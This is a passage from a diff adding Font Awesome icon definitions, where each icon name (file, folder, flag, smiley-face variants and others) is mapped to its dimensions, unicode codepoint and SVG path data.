10.691-12.926 16.045-20.485 8.485L136 360.486h-28c-6.627 0-12-5.373-12-12v-56c0-6.627 5.373-12 12-12h28l35.515-36.947c7.56-7.56 20.485-2.206 20.485 8.485v135.952zm41.201-47.13c9.051-9.297 9.06-24.133.001-33.439-22.149-22.752 12.235-56.246 34.395-33.481 27.198 27.94 27.212 72.444.001 100.401-21.793 22.386-56.947-10.315-34.397-33.481z"], + "file-code": [384, 512, [], "f1c9", "M149.9 349.1l-.2-.2-32.8-28.9 32.8-28.9c3.6-3.2 4-8.8.8-12.4l-.2-.2-17.4-18.6c-3.4-3.6-9-3.7-12.4-.4l-57.7 54.1c-3.7 3.5-3.7 9.4 0 12.8l57.7 54.1c1.6 1.5 3.8 2.4 6 2.4 2.4 0 4.8-1 6.4-2.8l17.4-18.6c3.3-3.5 3.1-9.1-.4-12.4zm220-251.2L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM256 51.9l76.1 76.1H256zM336 464H48V48h160v104c0 13.3 10.7 24 24 24h104zM209.6 214c-4.7-1.4-9.5 1.3-10.9 6L144 408.1c-1.4 4.7 1.3 9.6 6 10.9l24.4 7.1c4.7 1.4 9.6-1.4 10.9-6L240 231.9c1.4-4.7-1.3-9.6-6-10.9zm24.5 76.9l.2.2 32.8 28.9-32.8 28.9c-3.6 3.2-4 8.8-.8 12.4l.2.2 17.4 18.6c3.3 3.5 8.9 3.7 12.4.4l57.7-54.1c3.7-3.5 3.7-9.4 0-12.8l-57.7-54.1c-3.5-3.3-9.1-3.2-12.4.4l-17.4 18.6c-3.3 3.5-3.1 9.1.4 12.4z"], + "file-excel": [384, 512, [], "f1c3", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm212-240h-28.8c-4.4 0-8.4 2.4-10.5 6.3-18 33.1-22.2 42.4-28.6 57.7-13.9-29.1-6.9-17.3-28.6-57.7-2.1-3.9-6.2-6.3-10.6-6.3H124c-9.3 0-15 10-10.4 18l46.3 78-46.3 78c-4.7 8 1.1 18 10.4 18h28.9c4.4 0 8.4-2.4 10.5-6.3 21.7-40 23-45 28.6-57.7 14.9 30.2 5.9 15.9 28.6 57.7 2.1 3.9 6.2 6.3 10.6 6.3H260c9.3 0 15-10 10.4-18L224 320c.7-1.1 30.3-50.5 46.3-78 4.7-8-1.1-18-10.3-18z"], + "file-image": [384, 512, [], "f1c5", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm32-48h224V288l-23.5-23.5c-4.7-4.7-12.3-4.7-17 0L176 352l-39.5-39.5c-4.7-4.7-12.3-4.7-17 0L80 352v64zm48-240c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48z"], + "file-pdf": [384, 512, [], "f1c1", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm250.2-143.7c-12.2-12-47-8.7-64.4-6.5-17.2-10.5-28.7-25-36.8-46.3 3.9-16.1 10.1-40.6 5.4-56-4.2-26.2-37.8-23.6-42.6-5.9-4.4 16.1-.4 38.5 7 67.1-10 23.9-24.9 56-35.4 74.4-20 10.3-47 26.2-51 46.2-3.3 15.8 26 55.2 76.1-31.2 22.4-7.4 46.8-16.5 68.4-20.1 18.9 10.2 41 17 55.8 17 25.5 0 28-28.2 17.5-38.7zm-198.1 77.8c5.1-13.7 24.5-29.5 30.4-35-19 30.3-30.4 35.7-30.4 35zm81.6-190.6c7.4 0 6.7 32.1 1.8 40.8-4.4-13.9-4.3-40.8-1.8-40.8zm-24.4 136.6c9.7-16.9 18-37 24.7-54.7 8.3 15.1 18.9 27.2 30.1 35.5-20.8 4.3-38.9 13.1-54.8 19.2zm131.6-5s-5 6-37.3-7.8c35.1-2.6 40.9 5.4 37.3 7.8z"], + "file-powerpoint": [384, 512, [], "f1c4", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm72-60V236c0-6.6 5.4-12 12-12h69.2c36.7 0 62.8 27 62.8 66.3 0 74.3-68.7 66.5-95.5 66.5V404c0 6.6-5.4 12-12 12H132c-6.6 0-12-5.4-12-12zm48.5-87.4h23c7.9 0 13.9-2.4 18.1-7.2 8.5-9.8 8.4-28.5.1-37.8-4.1-4.6-9.9-7-17.4-7h-23.9v52z"], + "file-video": [384, 512, [], "f1c8", "M369.941 97.941l-83.882-83.882A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v416c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48V131.882a48 48 0 0 0-14.059-33.941zM332.118 128H256V51.882L332.118 128zM48 464V48h160v104c0 13.255 10.745 24 24 24h104v288H48zm228.687-211.303L224 305.374V268c0-11.046-8.954-20-20-20H100c-11.046 0-20 8.954-20 20v104c0 11.046 8.954 20 20 20h104c11.046 0 20-8.954 20-20v-37.374l52.687 52.674C286.704 397.318 304 390.28 304 375.986V264.011c0-14.311-17.309-21.319-27.313-11.314z"], + "file-word": [384, 512, [], "f1c2", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm220.1-208c-5.7 0-10.6 4-11.7 9.5-20.6 97.7-20.4 95.4-21 103.5-.2-1.2-.4-2.6-.7-4.3-.8-5.1.3.2-23.6-99.5-1.3-5.4-6.1-9.2-11.7-9.2h-13.3c-5.5 0-10.3 3.8-11.7 9.1-24.4 99-24 96.2-24.8 103.7-.1-1.1-.2-2.5-.5-4.2-.7-5.2-14.1-73.3-19.1-99-1.1-5.6-6-9.7-11.8-9.7h-16.8c-7.8 0-13.5 7.3-11.7 14.8 8 32.6 26.7 109.5 33.2 136 1.3 5.4 6.1 9.1 11.7 9.1h25.2c5.5 0 10.3-3.7 11.6-9.1l17.9-71.4c1.5-6.2 2.5-12 3-17.3l2.9 17.3c.1.4 12.6 50.5 17.9 71.4 1.3 5.3 6.1 9.1 11.6 9.1h24.7c5.5 0 10.3-3.7 11.6-9.1 20.8-81.9 30.2-119 34.5-136 1.9-7.6-3.8-14.9-11.6-14.9h-15.8z"], + "flag": [512, 512, [], "f024", "M336.174 80c-49.132 0-93.305-32-161.913-32-31.301 0-58.303 6.482-80.721 15.168a48.04 48.04 0 0 0 2.142-20.727C93.067 19.575 74.167 1.594 51.201.104 23.242-1.71 0 20.431 0 48c0 17.764 9.657 33.262 24 41.562V496c0 8.837 7.163 16 16 16h16c8.837 0 16-7.163 16-16v-83.443C109.869 395.28 143.259 384 199.826 384c49.132 0 93.305 32 161.913 32 58.479 0 101.972-22.617 128.548-39.981C503.846 367.161 512 352.051 512 335.855V95.937c0-34.459-35.264-57.768-66.904-44.117C409.193 67.309 371.641 80 336.174 80zM464 336c-21.783 15.412-60.824 32-102.261 32-59.945 0-102.002-32-161.913-32-43.361 0-96.379 9.403-127.826 24V128c21.784-15.412 60.824-32 102.261-32 59.945 0 102.002 32 161.913 32 43.271 0 96.32-17.366 127.826-32v240z"], + "flushed": [496, 512, [], "f579", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm96-312c-44.2 0-80 35.8-80 80s35.8 80 80 80 80-35.8 80-80-35.8-80-80-80zm0 128c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm-112 24c0-44.2-35.8-80-80-80s-80 35.8-80 80 35.8 80 80 80 80-35.8 80-80zm-80 48c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm160 144H184c-13.2 0-24 10.8-24 24s10.8 24 24 24h128c13.2 0 24-10.8 24-24s-10.8-24-24-24z"], + "folder": [512, 512, [], "f07b", "M464 128H272l-54.63-54.63c-6-6-14.14-9.37-22.63-9.37H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48zm0 272H48V112h140.12l54.63 54.63c6 6 14.14 9.37 22.63 9.37H464v224z"], + "folder-open": [576, 512, [], "f07c", "M527.9 224H480v-48c0-26.5-21.5-48-48-48H272l-64-64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h400c16.5 0 31.9-8.5 40.7-22.6l79.9-128c20-31.9-3-73.4-40.7-73.4zM48 118c0-3.3 2.7-6 6-6h134.1l64 64H426c3.3 0 6 2.7 6 6v42H152c-16.8 0-32.4 8.8-41.1 23.2L48 351.4zm400 282H72l77.2-128H528z"], + "font-awesome-logo-full": [3992, 512, ["Font Awesome"], "f4e6", "M454.6 0H57.4C25.9 0 0 25.9 0 57.4v397.3C0 486.1 25.9 512 57.4 512h397.3c31.4 0 57.4-25.9 57.4-57.4V57.4C512 25.9 486.1 0 454.6 0zm-58.9 324.9c0 4.8-4.1 6.9-8.9 8.9-19.2 8.1-39.7 15.7-61.5 15.7-40.5 0-68.7-44.8-163.2 2.5v51.8c0 30.3-45.7 30.2-45.7 0v-250c-9-7-15-17.9-15-30.3 0-21 17.1-38.2 38.2-38.2 21 0 38.2 17.1 38.2 38.2 0 12.2-5.8 23.2-14.9 30.2v21c37.1-12 65.5-34.4 146.1-3.4 26.6 11.4 68.7-15.7 76.5-15.7 5.5 0 10.3 4.1 10.3 8.9v160.4zm432.9-174.2h-137v70.1H825c39.8 0 40.4 62.2 0 62.2H691.6v105.6c0 45.5-70.7 46.4-70.7 0V128.3c0-22 18-39.8 39.8-39.8h167.8c39.6 0 40.5 62.2.1 62.2zm191.1 23.4c-169.3 0-169.1 252.4 0 252.4 169.9 0 169.9-252.4 0-252.4zm0 196.1c-81.6 0-82.1-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm372.4 53.4c-17.5 0-31.4-13.9-31.4-31.4v-117c0-62.4-72.6-52.5-99.1-16.4v133.4c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c43.3-51.6 162.4-60.4 162.4 39.3v141.5c.3 30.4-31.5 31.4-31.7 31.4zm179.7 2.9c-44.3 0-68.3-22.9-68.3-65.8V235.2H1488c-35.6 0-36.7-55.3 0-55.3h15.5v-37.3c0-41.3 63.8-42.1 63.8 0v37.5h24.9c35.4 0 35.7 55.3 0 55.3h-24.9v108.5c0 29.6 26.1 26.3 27.4 26.3 31.4 0 52.6 56.3-22.9 56.3zM1992 123c-19.5-50.2-95.5-50-114.5 0-107.3 275.7-99.5 252.7-99.5 262.8 0 42.8 58.3 51.2 72.1 14.4l13.5-35.9H2006l13 35.9c14.2 37.7 72.1 27.2 72.1-14.4 0-10.1 5.3 6.8-99.1-262.8zm-108.9 179.1l51.7-142.9 51.8 142.9h-103.5zm591.3-85.6l-53.7 176.3c-12.4 41.2-72 41-84 0l-42.3-135.9-42.3 135.9c-12.4 40.9-72 41.2-84.5 0l-54.2-176.3c-12.5-39.4 49.8-56.1 60.2-16.9L2213 342l45.3-139.5c10.9-32.7 59.6-34.7 71.2 0l45.3 139.5 39.3-142.4c10.3-38.3 72.6-23.8 60.3 16.9zm275.4 75.1c0-42.4-33.9-117.5-119.5-117.5-73.2 0-124.4 56.3-124.4 126 0 77.2 55.3 126.4 128.5 126.4 31.7 0 93-11.5 93-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-109 8.4-115.9-43.8h148.3c16.3 0 29.3-13.4 29.3-28.9zM2571 277.7c9.5-73.4 113.9-68.6 118.6 0H2571zm316.7 148.8c-31.4 0-81.6-10.5-96.6-31.9-12.4-17 2.5-39.8 21.8-39.8 16.3 0 36.8 22.9 77.7 22.9 27.4 0 40.4-11 40.4-25.8 0-39.8-142.9-7.4-142.9-102 0-40.4 35.3-75.7 98.6-75.7 31.4 0 74.1 9.9 87.6 29.4 10.8 14.8-1.4 36.2-20.9 36.2-15.1 0-26.7-17.3-66.2-17.3-22.9 0-37.8 10.5-37.8 23.8 0 35.9 142.4 6 142.4 103.1-.1 43.7-37.4 77.1-104.1 77.1zm266.8-252.4c-169.3 0-169.1 252.4 0 252.4 170.1 0 169.6-252.4 0-252.4zm0 196.1c-81.8 0-82-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm476.9 22V268.7c0-53.8-61.4-45.8-85.7-10.5v134c0 41.3-63.8 42.1-63.8 0V268.7c0-52.1-59.5-47.4-85.7-10.1v133.6c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c9.9-14.4 41.8-37.3 78.6-37.3 35.3 0 57.7 16.4 66.7 43.8 13.9-21.8 45.8-43.8 82.6-43.8 44.3 0 70.7 23.4 70.7 72.7v145.3c.5 17.3-13.5 31.4-31.9 31.4 3.5.1-31.3 1.1-31.3-31.3zM3992 291.6c0-42.4-32.4-117.5-117.9-117.5-73.2 0-127.5 56.3-127.5 126 0 77.2 58.3 126.4 131.6 126.4 31.7 0 91.5-11.5 91.5-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-110.5 8.4-117.5-43.8h149.8c16.3 0 29.1-13.4 29.3-28.9zm-180.5-13.9c9.7-74.4 115.9-68.3 120.1 0h-120.1z"], + "frown": [496, 512, [], "f119", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-80 128c-40.2 0-78 17.7-103.8 48.6-8.5 10.2-7.1 25.3 3.1 33.8 10.2 8.4 25.3 7.1 33.8-3.1 16.6-19.9 41-31.4 66.9-31.4s50.3 11.4 66.9 31.4c8.1 9.7 23.1 11.9 33.8 3.1 10.2-8.5 11.5-23.6 3.1-33.8C326 321.7 288.2 304 248 304z"], + "frown-open": [496, 512, [], "f57a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-48-248c0-17.7-14.3-32-32-32s-32 14.3-32 32 14.3 32 32 32 32-14.3 32-32zm128-32c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-80 112c-35.6 0-88.8 21.3-95.8 61.2-2 11.8 9 21.5 20.5 18.1 31.2-9.6 59.4-15.3 75.3-15.3s44.1 5.7 75.3 15.3c11.4 3.5 22.5-6.3 20.5-18.1-7-39.9-60.2-61.2-95.8-61.2z"], + "futbol": [496, 512, [], "f1e3", "M483.8 179.4C449.8 74.6 352.6 8 248.1 8c-25.4 0-51.2 3.9-76.7 12.2C41.2 62.5-30.1 202.4 12.2 332.6 46.2 437.4 143.4 504 247.9 504c25.4 0 51.2-3.9 76.7-12.2 130.2-42.3 201.5-182.2 159.2-312.4zm-74.5 193.7l-52.2 6.4-43.7-60.9 24.4-75.2 71.1-22.1 38.9 36.4c-.2 30.7-7.4 61.1-21.7 89.2-4.7 9.3-10.7 17.8-16.8 26.2zm0-235.4l-10.4 53.1-70.7 22-64.2-46.5V92.5l47.4-26.2c39.2 13 73.4 38 97.9 71.4zM184.9 66.4L232 92.5v73.8l-64.2 46.5-70.6-22-10.1-52.5c24.3-33.4 57.9-58.6 97.8-71.9zM139 379.5L85.9 373c-14.4-20.1-37.3-59.6-37.8-115.3l39-36.4 71.1 22.2 24.3 74.3-43.5 61.7zm48.2 67l-22.4-48.1 43.6-61.7H287l44.3 61.7-22.4 48.1c-6.2 1.8-57.6 20.4-121.7 0z"], + "gem": [576, 512, [], "f3a5", "M464 0H112c-4 0-7.8 2-10 5.4L2 152.6c-2.9 4.4-2.6 10.2.7 14.2l276 340.8c4.8 5.9 13.8 5.9 18.6 0l276-340.8c3.3-4.1 3.6-9.8.7-14.2L474.1 5.4C471.8 2 468.1 0 464 0zm-19.3 48l63.3 96h-68.4l-51.7-96h56.8zm-202.1 0h90.7l51.7 96H191l51.6-96zm-111.3 0h56.8l-51.7 96H68l63.3-96zm-43 144h51.4L208 352 88.3 192zm102.9 0h193.6L288 435.3 191.2 192zM368 352l68.2-160h51.4L368 352z"], + "grimace": [496, 512, [], "f57f", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm16 16H152c-26.5 0-48 21.5-48 48v32c0 26.5 21.5 48 48 48h192c26.5 0 48-21.5 48-48v-32c0-26.5-21.5-48-48-48zm-168 96h-24c-8.8 0-16-7.2-16-16v-8h40v24zm0-40h-40v-8c0-8.8 7.2-16 16-16h24v24zm64 40h-48v-24h48v24zm0-40h-48v-24h48v24zm64 40h-48v-24h48v24zm0-40h-48v-24h48v24zm56 24c0 8.8-7.2 16-16 16h-24v-24h40v8zm0-24h-40v-24h24c8.8 0 16 7.2 16 16v8z"], + "grin": [496, 512, [], "f580", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.4-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zM168 240c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z"], + "grin-alt": [496, 512, [], "f581", "M200.3 248c12.4-18.7 15.1-37.3 15.7-56-.5-18.7-3.3-37.3-15.7-56-8-12-25.1-11.4-32.7 0-12.4 18.7-15.1 37.3-15.7 56 .5 18.7 3.3 37.3 15.7 56 8.1 12 25.2 11.4 32.7 0zm128 0c12.4-18.7 15.1-37.3 15.7-56-.5-18.7-3.3-37.3-15.7-56-8-12-25.1-11.4-32.7 0-12.4 18.7-15.1 37.3-15.7 56 .5 18.7 3.3 37.3 15.7 56 8.1 12 25.2 11.4 32.7 0zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3z"], + "grin-beam": [496, 512, [], "f582", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-235.9-72.9c3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3zm160 0c3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3z"], + "grin-beam-sweat": [496, 512, [], "f583", "M440 160c29.5 0 53.3-26.3 53.3-58.7 0-25-31.7-75.5-46.2-97.3-3.6-5.3-10.7-5.3-14.2 0-14.5 21.8-46.2 72.3-46.2 97.3 0 32.4 23.8 58.7 53.3 58.7zM248 400c51.9 0 115.3-32.9 123.3-80 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 8 47.1 71.4 80 123.3 80zm130.3-168.3c3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.6 6.2 4.6 9.3 3.7zm105.3-52.9c-24.6 15.7-46 12.9-46.4 12.9 6.9 20.2 10.8 41.8 10.8 64.3 0 110.3-89.7 200-200 200S48 366.3 48 256 137.7 56 248 56c39.8 0 76.8 11.8 108 31.9 1.7-9.5 6.3-24.1 17.2-45.7C336.4 20.6 293.7 8 248 8 111 8 0 119 0 256s111 248 248 248 248-111 248-248c0-27-4.4-52.9-12.4-77.2zM168 189.4c12.3 0 23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.8 19.2-21.6 31.5-21.6z"], + "grin-hearts": [496, 512, [], "f584", "M353.6 304.6c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-152.8-48.9c4.5 1.2 9.2-1.5 10.5-6l19.4-69.9c5.6-20.3-7.4-41.1-28.8-44.5-18.6-3-36.4 9.8-41.5 27.9l-2 7.1-7.1-1.9c-18.2-4.7-38.2 4.3-44.9 22-7.7 20.2 3.8 41.9 24.2 47.2l70.2 18.1zm188.8-65.3c-6.7-17.6-26.7-26.7-44.9-22l-7.1 1.9-2-7.1c-5-18.1-22.8-30.9-41.5-27.9-21.4 3.4-34.4 24.2-28.8 44.5l19.4 69.9c1.2 4.5 5.9 7.2 10.5 6l70.2-18.2c20.4-5.3 31.9-26.9 24.2-47.1zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200z"], + "grin-squint": [496, 512, [], "f585", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.4-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-234.7-40.8c3.6 4.2 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3s-2.2-8.1-5.8-10.3l-80-48c-5.1-3-11.4-1.9-15.3 2.5-3.8 4.5-3.8 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11.1.1 15.5zm242.9 2.5c5.4 3.2 11.7 1.7 15.3-2.5 3.8-4.5 3.8-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11-.1-15.5-3.8-4.4-10.2-5.4-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48z"], + "grin-squint-tears": [512, 512, [], "f586", "M117.1 384.1c-25.8 3.7-84 13.7-100.9 30.6-21.9 21.9-21.5 57.9.9 80.3s58.3 22.8 80.3.9C114.3 479 124.3 420.8 128 395c.8-6.4-4.6-11.8-10.9-10.9zm-41.2-41.7C40.3 268 53 176.1 114.6 114.6 152.4 76.8 202.6 56 256 56c36.2 0 70.8 9.8 101.2 27.7 3.8-20.3 8-36.1 12-48.3C333.8 17.2 294.9 8 256 8 192.5 8 129.1 32.2 80.6 80.6c-74.1 74.1-91.3 183.4-52 274 12.2-4.1 27.7-8.3 47.3-12.2zm352.3-187.6c45 76.6 34.9 176.9-30.8 242.6-37.8 37.8-88 58.6-141.4 58.6-30.5 0-59.8-7-86.4-19.8-3.9 19.5-8 35-12.2 47.2 31.4 13.6 65 20.6 98.7 20.6 63.5 0 126.9-24.2 175.4-72.6 78.1-78.1 93.1-195.4 45.2-288.6-12.3 4-28.2 8.1-48.5 12zm-33.3-26.9c25.8-3.7 84-13.7 100.9-30.6 21.9-21.9 21.5-57.9-.9-80.3s-58.3-22.8-80.3-.9C397.7 33 387.7 91.2 384 117c-.8 6.4 4.6 11.8 10.9 10.9zm-187 108.3c-3-3-7.2-4.2-11.4-3.2L106 255.7c-5.7 1.4-9.5 6.7-9.1 12.6.5 5.8 5.1 10.5 10.9 11l52.3 4.8 4.8 52.3c.5 5.8 5.2 10.4 11 10.9h.9c5.5 0 10.3-3.7 11.7-9.1l22.6-90.5c1-4.2-.2-8.5-3.2-11.5zm39.7-25.1l90.5-22.6c5.7-1.4 9.5-6.7 9.1-12.6-.5-5.8-5.1-10.5-10.9-11l-52.3-4.8-4.8-52.3c-.5-5.8-5.2-10.4-11-10.9-5.6-.1-11.2 3.4-12.6 9.1L233 196.5c-1 4.1.2 8.4 3.2 11.4 5 5 11.3 3.2 11.4 3.2zm52 88.5c-29.1 29.1-59.7 52.9-83.9 65.4-9.2 4.8-10 17.5-1.7 23.4 38.9 27.7 107 6.2 143.7-30.6S416 253 388.3 214.1c-5.8-8.2-18.5-7.6-23.4 1.7-12.3 24.2-36.2 54.7-65.3 83.8z"], + "grin-stars": [496, 512, [], "f587", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-227.9-57.5c-1 6.2 5.4 11 11 7.9l31.3-16.3 31.3 16.3c5.6 3.1 12-1.7 11-7.9l-6-34.9 25.4-24.6c4.5-4.5 1.9-12.2-4.3-13.2l-34.9-5-15.5-31.6c-2.9-5.8-11-5.8-13.9 0l-15.5 31.6-34.9 5c-6.2.9-8.9 8.6-4.3 13.2l25.4 24.6-6.1 34.9zm259.7-72.7l-34.9-5-15.5-31.6c-2.9-5.8-11-5.8-13.9 0l-15.5 31.6-34.9 5c-6.2.9-8.9 8.6-4.3 13.2l25.4 24.6-6 34.9c-1 6.2 5.4 11 11 7.9l31.3-16.3 31.3 16.3c5.6 3.1 12-1.7 11-7.9l-6-34.9 25.4-24.6c4.5-4.6 1.8-12.2-4.4-13.2z"], + "grin-tears": [640, 512, [], "f588", "M117.1 256.1c-25.8 3.7-84 13.7-100.9 30.6-21.9 21.9-21.5 57.9.9 80.3s58.3 22.8 80.3.9C114.3 351 124.3 292.8 128 267c.8-6.4-4.6-11.8-10.9-10.9zm506.7 30.6c-16.9-16.9-75.1-26.9-100.9-30.6-6.3-.9-11.7 4.5-10.8 10.8 3.7 25.8 13.7 84 30.6 100.9 21.9 21.9 57.9 21.5 80.3-.9 22.3-22.3 22.7-58.3.8-80.2zm-126.6 61.7C463.8 412.3 396.9 456 320 456c-76.9 0-143.8-43.7-177.2-107.6-12.5 37.4-25.2 43.9-28.3 46.5C159.1 460.7 234.5 504 320 